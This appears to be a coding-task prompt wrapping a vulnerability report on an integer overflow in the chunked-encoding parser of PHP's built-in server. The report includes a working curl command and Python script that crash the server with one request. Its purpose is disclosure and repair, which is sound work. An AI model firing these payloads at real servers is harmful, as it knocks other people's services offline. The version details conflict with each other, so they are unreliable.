PHP Built-in Server Chunked Encoding Integer Overflow

Start in sapi/cli/php_http_parser.c, especially the s_chunk_size and s_chunk_data states named in the report, then trace how content_length reaches php_cli_server_client_read_request_on_body in sapi/cli/php_cli_server.c. Check existing HTTP parser and built-in server tests for malformed chunk sizes. Done means an oversized chunk size is rejected safely and a regression test shows that the server remains available.

Description

Summary

PHP's built-in development server (php -S) contains a signed integer overflow in its chunked transfer encoding parser. A single HTTP request with a chunk size of FFFFFFFFFFFFFFFF causes content_length to wrap to −1 as a ssize_t, after which PHP attempts to allocate UINT64_MAX bytes via pemalloc, triggering an out-of-memory condition that terminates the server process. An unauthenticated remote attacker can crash the server with a single crafted request, producing a reliable denial of service.

Details

Root cause: signed integer overflow in php_http_parser.c
PHP's built-in server implements its own HTTP/1.1 parser derived from Ryan Dahl's original http-parser. The chunk-size field is stored in ssize_t content_length — a signed 64-bit integer on 64-bit platforms.
The state machine in s_chunk_size accumulates hex digits without any overflow guard:
// sapi/cli/php_http_parser.c (s_chunk_size state)
parser->content_length *= 16;
parser->content_length += c; // no overflow check
When the hex string FFFFFFFFFFFFFFFF (16 Fs) is parsed, the accumulated value wraps around the INT64_MAX boundary. The final result is −1 when interpreted as a signed 64-bit integer (equivalently, 0xFFFFFFFFFFFFFFFF unsigned).
Downstream effect in s_chunk_data
The s_chunk_data state computes how much of the current network buffer to consume:
// sapi/cli/php_http_parser.c (s_chunk_data state)
to_read = MIN((size_t)(pe - p), (size_t)(parser->content_length));
Casting −1 to size_t yields UINT64_MAX (18 446 744 073 709 551 615). MIN(pe−p, UINT64_MAX) returns pe−p — whichever bytes remain in the read buffer — so parsing continues without error.
Fatal allocation in php_cli_server_client_read_request_on_body
The on_body callback is invoked for each chunk fragment. On the first call it pre-allocates using the parser's content_length:
// sapi/cli/php_cli_server.c
if (!client->request.content) {
client->request.content = pemalloc(parser->content_length, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^
// passes -1 (UINT64_MAX) to pemalloc
}
pemalloc(UINT64_MAX, 1) attempts to allocate ~18 exabytes. PHP's memory limit is immediately exceeded, PHP emits "Out of memory", and the server process exits.
Why ssize_t, not size_t
The field is typed ssize_t to allow the sentinel value −1 used elsewhere in the parser to signal "no Content-Length set". The chunk-size accumulation code reuses the same field without accounting for the sign boundary.

Proof of concept

Environment
Any system running php -S on PHP 8.4.x or 8.5.x (tested on PHP 8.5.12 Linux x86-64).
One-liner with curl
curl -v http://127.0.0.1:9000/
-H 'Transfer-Encoding: chunked'
--data-binary $'FFFFFFFFFFFFFFFF\r\nhello\r\n0\r\n\r\n'
The server process exits immediately with Out of memory.
Python PoC
import socket

HOST, PORT = "127.0.0.1", 9000

payload = (
b"POST / HTTP/1.1\r\n"
b"Host: target\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b"FFFFFFFFFFFFFFFF\r\n" # chunk-size wraps ssize_t to -1
b"A" * 8 # any body bytes trigger on_body
b"\r\n"
)

s = socket.create_connection((HOST, PORT))
s.sendall(payload)
try:
print("Response:", s.recv(256))
except Exception:
print("[+] Server appears to have died")
finally:
s.close()
Expected output on the server console
[22 Oct 2026 13:10] 127.0.0.1:XXXXX Accepted
Out of memory
The process exits; all subsequent connections to that port are refused. Because php -S is single-threaded, the server is completely unavailable from this point on.

Impact

Denial of service complete server crash. A single unauthenticated HTTP POST with a crafted Transfer-Encoding: chunked body kills the php -S process. Because the built-in server is single-process and single-threaded, there is no worker to restart it; all further requests fail with "Connection refused" until an operator manually restarts the server.
The built-in server is the intended target. PHP's documentation explicitly states it is for development only and not for production. However, the server is widely used in:
• Local developer workflows and CI pipelines that expose an HTTP endpoint during test runs
• Dockerfile-based test containers accessible on an internal network
• Workshop and tutorial environments that sometimes bind to 0.0.0.0 for convenience
In those contexts an attacker on the same network (or CI runner) can disrupt tests, invalidate results, or force pipeline failures on demand. The crash is immediate, deterministic, and requires no authentication or prior knowledge of the application.
No memory corruption or code execution has been demonstrated. The allocation attempt fails before any write occurs, so the impact is limited to process termination.

PHP Version

8.2.35

Operating System

No response